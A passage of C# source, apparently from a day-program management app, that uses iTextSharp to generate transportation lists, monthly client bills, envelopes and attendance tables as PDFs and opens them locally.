((bool)Row["Tuesday"]) { AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 4); AddPriviewCell(table, Row["Category"].ToString(), 2); AddPriviewCell(table, Row["Adress"].ToString(), 4); AddPriviewCell(table, Row["Phone"].ToString(), 2); AddPriviewCell(table, Row["HandyDARTNumber"].ToString(), 2); Counter++; } break; case "Wednesday": if ((bool)Row["Wednesday"]) { AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 4); AddPriviewCell(table, Row["Category"].ToString(), 2); AddPriviewCell(table, Row["Adress"].ToString(), 4); AddPriviewCell(table, Row["Phone"].ToString(), 2); AddPriviewCell(table, Row["HandyDARTNumber"].ToString(), 2); Counter++; } break; case "Thursday": if ((bool)Row["Thursday"]) { AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 4); AddPriviewCell(table, Row["Category"].ToString(), 2); AddPriviewCell(table, Row["Adress"].ToString(), 4); AddPriviewCell(table, Row["Phone"].ToString(), 2); AddPriviewCell(table, Row["HandyDARTNumber"].ToString(), 2); Counter++; } break; case "Friday": if ((bool)Row["Friday"]) { AddPriviewCell(table, Counter.ToString(), 1); AddPriviewCell(table, ProfileProvider.GetName((int)Row["ProfileId"]), 4); AddPriviewCell(table, Row["Category"].ToString(), 2); AddPriviewCell(table, Row["Adress"].ToString(), 4); AddPriviewCell(table, Row["Phone"].ToString(), 2); AddPriviewCell(table, Row["HandyDARTNumber"].ToString(), 2); Counter++; } break; } } Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Transportation.pdf"); } public static void PrintBills(int ItemId) { try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Bill_" + ItemId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Bill_" + ItemId.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Bill_" + ItemId.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Bill_" + ItemId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Bill_" + ItemId.ToString() + ".pdf"); } } FileStream FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath + @"\Bill_" + ItemId.ToString() + ".pdf", FileMode.CreateNew); var Doc = new iTextSharp.text.Document(PageSize.A4, 20, 20, 20, 20); PdfWriter.GetInstance(Doc, FS); Doc.Open(); BillsItem Item = new BillsItem(ItemId); PdfPTable table = new PdfPTable(5); table.WidthPercentage = 100; AddPriviewCell(table, TDay.Properties.Settings.Default.PlantString,5); AddPriviewCell(table, String.Format("For Services of {0:MMMM} - {0:yyyy}",Item.Date), 5); AddPriviewCell(table, Item.Profile.Name + "\n" + Item.Profile.Adress.Addres + "\n" + Item.Profile.Adress.City + "\n" + Item.Profile.Adress.PostalCode, 2,4, Element.ALIGN_LEFT); if (Item.PreviousBillPaid==0) { AddPriviewCell(table, "Balance Forward \nOverdue \nNew Charges", 1, 3, Element.ALIGN_LEFT); } else { AddPriviewCell(table, "Balance Forward \nPayments/Credits\nNew Charges", 1,3,Element.ALIGN_LEFT); } if (Item.PreviousBillPaid == 0) { AddPriviewCell(table, "", 1, 3, Element.ALIGN_CENTER); AddPriviewCell(table, Item.PreviousBillTotal.ToString() + "\n" + Item.PreviousBillTotal.ToString() + "\n" + Item.BillTotal.ToString(), 2, 3, Element.ALIGN_CENTER); } else { AddPriviewCell(table, Item.PreviousBillPaidDate.ToShortDateString(), 1, 3, Element.ALIGN_CENTER); AddPriviewCell(table, Item.PreviousBillTotal.ToString() + "\n" + Item.PreviousBillPaid.ToString() + "\n" + Item.BillTotal.ToString(), 2, 3, Element.ALIGN_CENTER); } AddPriviewCell(table, "Balance:", 2,1,Element.ALIGN_LEFT); AddPriviewCell(table, (Item.PreviousBillTotal-Item.PreviousBillPaid+Item.BillTotal).ToString(), 1, 2, Element.ALIGN_CENTER); Doc.Add(table); int TableColums = 0; TDayDataSet TempSet = new TDayDataSet(); TDayDataSetTableAdapters.DaysTableAdapter daysTableAdapter = new TDayDataSetTableAdapters.DaysTableAdapter(); daysTableAdapter.FillByMonth(TempSet.Days, Bill.GetFirstMonthDay(Item.Date), Bill.GetLastMonthDay(Item.Date)); double Misc = 0; double Trans = 0; double Program = 0; double TO = 0; double Lanch = 0; double Van = 0; double BFT = 0; foreach (DataRow Row in TempSet.Days) { if ((int)Row["ProfileId"] == Item.ProfileIdBills) { Misc += Double.Parse(Row["MiscellaneousPrice"].ToString()); Trans += Double.Parse(Row["RoundTripPrice"].ToString()); Program += Double.Parse(Row["ProgramPrice"].ToString()); TO += Double.Parse(Row["TakeOutPrice"].ToString()); Lanch += Double.Parse(Row["LunchPrice"].ToString()); Van += Double.Parse(Row["VanPrice"].ToString()); BFT += Double.Parse(Row["BookOfTickets"].ToString()); } } //Говнокод (((( но к сожалению вообще мозги ничего придумать не могут(((((((((( 3 дня - 2 часа сна........... if (Misc > 0) { TableColums++; } if (Trans > 0) { TableColums++; } if (Program > 0) { TableColums++; } if (TO > 0) { TableColums++; } if (Lanch > 0) { TableColums++; } if (Van > 0) { TableColums++; } if (BFT > 0) { TableColums++; } PdfPTable tablePart = new PdfPTable(TableColums+3); tablePart.WidthPercentage = 100; AddHeader(tablePart, " New Charges", 12, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); AddPriviewCell(tablePart, "Date", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); AddPriviewCell(tablePart, "Comments", 2, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); if (Lanch > 0) { AddPriviewCell(tablePart, "Lunch", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (TO > 0) { AddPriviewCell(tablePart, "TO", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Misc > 0) { AddPriviewCell(tablePart, "Misc", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Program > 0) { AddPriviewCell(tablePart, "Program", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Van > 0) { AddPriviewCell(tablePart, "Van", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Trans > 0) { AddPriviewCell(tablePart, "Trans", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (BFT > 0) { AddPriviewCell(tablePart, "BFT", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke) ); } DataView DV = TempSet.Days.DefaultView; DV.Sort = "Date ASC"; BindingSource TemS = new BindingSource(); TemS.DataSource = DV; int ItemsCount = 0; foreach (DataRowView Row in TemS.List) { if ((int)Row["ProfileId"] == Item.ProfileIdBills) { AddPriviewCell(tablePart, ((DateTime)Row["Date"]).ToShortDateString(), 1, 1, Element.ALIGN_CENTER); AddPriviewCell(tablePart, Row["Comments"].ToString(), 2, 1, Element.ALIGN_CENTER); if (Lanch > 0) { AddPriviewCell(tablePart, Row["LunchPrice"].ToString(), 1, 1, Element.ALIGN_CENTER); } if (TO > 0) { AddPriviewCell(tablePart, Row["TakeOutPrice"].ToString(), 1, 1, Element.ALIGN_CENTER); } if (Misc > 0) { AddPriviewCell(tablePart, Row["MiscellaneousPrice"].ToString(), 1, 1, Element.ALIGN_CENTER); } if (Program > 0) { AddPriviewCell(tablePart, Row["ProgramPrice"].ToString(), 1, 1, Element.ALIGN_CENTER); } if (Van > 0) { AddPriviewCell(tablePart, Row["VanPrice"].ToString(), 1, 1, Element.ALIGN_CENTER); } if (Trans > 0) { AddPriviewCell(tablePart, Row["RoundTripPrice"].ToString(), 1, 1, Element.ALIGN_CENTER); } if (BFT > 0) { AddPriviewCell(tablePart, Row["BookOfTickets"].ToString(), 1, 1, Element.ALIGN_CENTER); } ItemsCount++; } } AddPriviewCell(tablePart, ItemsCount.ToString(), 1, 1, Element.ALIGN_CENTER); AddPriviewCell(tablePart, "", TableColums + 2, 1, Element.ALIGN_CENTER); AddPriviewCell(tablePart, "Totals:", 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); AddPriviewCell(tablePart, (Lanch + TO + Misc + Program + Van + Trans + BFT).ToString(), 2, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); if (Lanch > 0) { AddPriviewCell(tablePart, Lanch.ToString(), 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (TO > 0) { AddPriviewCell(tablePart, TO.ToString(), 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Misc > 0) { AddPriviewCell(tablePart, Misc.ToString(), 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Program > 0) { AddPriviewCell(tablePart, Program.ToString(), 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Van > 0) { AddPriviewCell(tablePart, Van.ToString(), 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (Trans > 0) { AddPriviewCell(tablePart, Trans.ToString(), 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke)); } if (BFT > 0){ AddPriviewCell(tablePart, BFT.ToString(), 1, 1, Element.ALIGN_CENTER, new BaseColor(Color.WhiteSmoke) );} AddEmpyRow(tablePart); AddEmpyRow(tablePart); AddEmpyRow(tablePart); Doc.Add(tablePart); PdfPTable tableFooster = new PdfPTable(6); tableFooster.WidthPercentage = 100; if (Item.Paid > 0) { PdfPCell pricell = new PdfPCell(new Phrase("Paid", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.Colspan = 1; tableFooster.AddCell(pricell); pricell = new PdfPCell(new Phrase(Item.Paid.ToString()+"$", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.UNDERLINE, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.Colspan = 1; tableFooster.AddCell(pricell); pricell = new PdfPCell(new Phrase("Cash", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; tableFooster.AddCell(pricell); if (Item.PaidType == "cash") { AddValueCell(tableFooster, true, true, 1, false); } else { AddValueCell(tableFooster, false, true, 1, false); } pricell = new PdfPCell(new Phrase("Cheque", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; tableFooster.AddCell(pricell); if (Item.PaidType == "cheque") { AddValueCell(tableFooster, true, true, 1, false); } else { AddValueCell(tableFooster, false, true, 1, false); } } else { PdfPCell pricell = new PdfPCell(new Phrase("Paid", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.Colspan = 1; tableFooster.AddCell(pricell); pricell = new PdfPCell(new Phrase("___________$", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.Colspan = 1; tableFooster.AddCell(pricell); pricell = new PdfPCell(new Phrase("Cash", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_BOTTOM; pricell.PaddingBottom = 3; pricell.Colspan = 1; tableFooster.AddCell(pricell); AddValueCell(tableFooster, false, true, 1, false); pricell = new PdfPCell(new Phrase("Cheque", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; tableFooster.AddCell(pricell); AddValueCell(tableFooster, false, true, 1, false); } AddEmpyRow(tableFooster); AddEmpyRow(tableFooster); PdfPCell pricellnew = new PdfPCell(new Phrase("Date", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricellnew.Border = iTextSharp.text.Rectangle.NO_BORDER; pricellnew.HorizontalAlignment = Element.ALIGN_RIGHT; pricellnew.VerticalAlignment = Element.ALIGN_MIDDLE; pricellnew.Colspan = 1; tableFooster.AddCell(pricellnew); if (Item.Paid > 0) { pricellnew = new PdfPCell(new Phrase(Item.PaidDate.ToShortDateString(), new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.UNDERLINE, new BaseColor(Color.DimGray)))); pricellnew.Border = iTextSharp.text.Rectangle.NO_BORDER; pricellnew.HorizontalAlignment = Element.ALIGN_CENTER; pricellnew.VerticalAlignment = Element.ALIGN_MIDDLE; pricellnew.Colspan = 1; tableFooster.AddCell(pricellnew); } else { pricellnew = new PdfPCell(new Phrase("___________", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricellnew.Border = iTextSharp.text.Rectangle.NO_BORDER; pricellnew.HorizontalAlignment = Element.ALIGN_CENTER; pricellnew.VerticalAlignment = Element.ALIGN_MIDDLE; pricellnew.Colspan = 1; tableFooster.AddCell(pricellnew); } pricellnew = new PdfPCell(new Phrase("Society Representative", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricellnew.Border = iTextSharp.text.Rectangle.NO_BORDER; pricellnew.HorizontalAlignment = Element.ALIGN_CENTER; pricellnew.VerticalAlignment = Element.ALIGN_MIDDLE; pricellnew.Colspan = 2; tableFooster.AddCell(pricellnew); pricellnew = new PdfPCell(new Phrase("___________________________", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricellnew.Border = iTextSharp.text.Rectangle.NO_BORDER; pricellnew.HorizontalAlignment = Element.ALIGN_CENTER; pricellnew.VerticalAlignment = Element.ALIGN_MIDDLE; pricellnew.Colspan = 2; tableFooster.AddCell(pricellnew); Doc.Add(tableFooster); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Bill_" + ItemId.ToString() + ".pdf"); } public static void PrintEnvelope(int ProfileId, EnvelopeSize Size, string Sender, string Reciver) { try { if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } catch (IOException) { string Proc = GetFileProcessName("Report_" + ProfileId.ToString() + ".pdf"); if (File.Exists(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf")) { File.Delete(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } } FileStream FS = new FileStream(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf", FileMode.CreateNew); var Doc = new iTextSharp.text.Document(GetEnvelopeSize(Size),20,20,20,20); PdfWriter.GetInstance(Doc, FS); Doc.Open(); PdfPTable table = new PdfPTable(5); table.WidthPercentage = 100; PdfPCell pricell = new PdfPCell(new Phrase(Sender, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, int.Parse(Math.Round(Doc.PageSize.Width/41,0).ToString()), iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_LEFT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.SpaceCharRatio = 4; pricell.PaddingBottom = 3; pricell.Colspan = 2; pricell.FixedHeight = ((Doc.PageSize.Height-40) / 10)*3; table.AddCell(pricell); pricell = new PdfPCell(new Phrase("", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 3; table.AddCell(pricell); //*******************************Пустой блок pricell = new PdfPCell(new Phrase("", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, int.Parse(Math.Round(Doc.PageSize.Width / 41, 0).ToString()), iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_LEFT; pricell.VerticalAlignment = Element.ALIGN_TOP; pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.PaddingBottom = 3; pricell.Colspan = 5; pricell.FixedHeight = ((Doc.PageSize.Height-40) / 10)*4-5; table.AddCell(pricell); //******************************* pricell = new PdfPCell(new Phrase("", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.Border = iTextSharp.text.Rectangle.NO_BORDER; pricell.HorizontalAlignment = Element.ALIGN_RIGHT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 3; table.AddCell(pricell); pricell = new PdfPCell(new Phrase(Reciver, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, int.Parse(Math.Round(Doc.PageSize.Width / 41, 0).ToString()), iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_LEFT; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.SpaceCharRatio = 4; pricell.Colspan = 2; pricell.FixedHeight = ((Doc.PageSize.Height-40) / 10)*3; table.AddCell(pricell); Doc.Add(table); Doc.Close(); Process.Start(System.Windows.Forms.Application.UserAppDataPath + @"\Report_" + ProfileId.ToString() + ".pdf"); } private static void AddBlockCell(PdfPTable _Table) { PdfPCell pricell = new PdfPCell(new Phrase("", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.BackgroundColor = new BaseColor(Color.WhiteSmoke); pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 4; _Table.AddCell(pricell); } private static void AddEmpyRow(PdfPTable _Table) { PdfPCell cell = new PdfPCell(); cell.Padding = 5; cell.Colspan = _Table.NumberOfColumns; cell.HorizontalAlignment = Element.ALIGN_LEFT; cell.Border = iTextSharp.text.Rectangle.NO_BORDER; _Table.AddCell(cell); } private static void AddHeader(PdfPTable _Table, string Text, int TextWidth, BaseColor _FontColor, BaseColor _BackColor) { PdfPCell cell = new PdfPCell(new Phrase(Text, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, TextWidth, iTextSharp.text.Font.NORMAL, _FontColor))); cell.BackgroundColor = _BackColor; cell.Padding = 5; cell.Colspan = _Table.NumberOfColumns; cell.HorizontalAlignment = Element.ALIGN_LEFT; _Table.AddCell(cell); } private static void AddPriviewCell(PdfPTable _Table, string Text) { PdfPCell pricell = new PdfPCell(new Phrase(Text, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 2; _Table.AddCell(pricell); } private static void AddPriviewCell(PdfPTable _Table, string Text, int Colspan) { PdfPCell pricell = new PdfPCell(new Phrase(Text, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.PaddingBottom = 3; pricell.Colspan = Colspan; _Table.AddCell(pricell); } private static void AddPriviewCell(PdfPTable _Table, string Text, int Colspan,BaseColor BackColor) { PdfPCell pricell = new PdfPCell(new Phrase(Text, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.BackgroundColor = BackColor; pricell.PaddingBottom = 3; pricell.Colspan = Colspan; _Table.AddCell(pricell); } private static void AddPriviewCell(PdfPTable _Table, string Text, int Colspan,int RowSpan, int Align) { PdfPCell pricell = new PdfPCell(new Phrase(Text, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.HorizontalAlignment = Align; pricell.PaddingBottom = 5; pricell.Rowspan = RowSpan; pricell.Colspan = Colspan; _Table.AddCell(pricell); } private static void AddPriviewCell(PdfPTable _Table, string Text, int Colspan, int RowSpan, int Align, BaseColor _Color) { PdfPCell pricell = new PdfPCell(new Phrase(Text, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 12, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.HorizontalAlignment = Align; pricell.PaddingBottom = 5; pricell.BackgroundColor = _Color; pricell.Rowspan = RowSpan; pricell.Colspan = Colspan; _Table.AddCell(pricell); } private static void AddValueCell(PdfPTable _Table, string Text) { PdfPCell valcell = new PdfPCell(new Phrase(Text, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); valcell.Colspan = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; valcell.PaddingBottom = 3; _Table.AddCell(valcell); } private static void AddValueCell(PdfPTable _Table, bool Value, bool isCheckBox) { PdfPCell valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); iTextSharp.text.Image image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if(Value){ image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE);} image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 3; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); } private static void AddValueCell(PdfPTable _Table, bool Value, bool isCheckBox, int Colspan) { PdfPCell valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); iTextSharp.text.Image image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (Value) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = Colspan; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); } private static void AddValueCell(PdfPTable _Table, bool Value, bool isCheckBox, int Colspan, bool Border) { PdfPCell valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); if (!Border) { valcell.Border = iTextSharp.text.Rectangle.NO_BORDER; } iTextSharp.text.Image image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (Value) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = Colspan; valcell.AddElement(image); valcell.PaddingBottom = 1; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); } private static void AddAttendanceCell(PdfPTable _Table, Attendance attendace) { AddHeader(_Table, "Attendance", 16, new BaseColor(Color.DimGray), new BaseColor(Color.WhiteSmoke)); PdfPCell pricell = new PdfPCell(new Phrase("Monday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Tuesday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Wednesday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Thursday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); pricell = new PdfPCell(new Phrase("Friday", new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); pricell.HorizontalAlignment = Element.ALIGN_CENTER; pricell.VerticalAlignment = Element.ALIGN_MIDDLE; pricell.PaddingBottom = 3; pricell.Colspan = 1; _Table.AddCell(pricell); PdfPCell valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new BaseColor(Color.DimGray)))); iTextSharp.text.Image image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.uncheck, BaseColor.WHITE); if (attendace.Monday) { image = iTextSharp.text.Image.GetInstance(TDay.Properties.Resources.check, BaseColor.WHITE); } image.ScaleToFit(15, 15); image.Alignment = Element.ALIGN_CENTER; //valcell.Image = image; valcell.Colspan = 1; valcell.AddElement(image); valcell.PaddingBottom = 3; valcell.HorizontalAlignment = Element.ALIGN_CENTER; valcell.VerticalAlignment = Element.ALIGN_MIDDLE; _Table.AddCell(valcell); valcell = new PdfPCell(new Phrase(String.Empty, new iTextSharp.text.Font(iTextSharp.text.Font.FontFamily.TIMES_ROMAN, 16, iTextSharp.text.Font.NORMAL, new 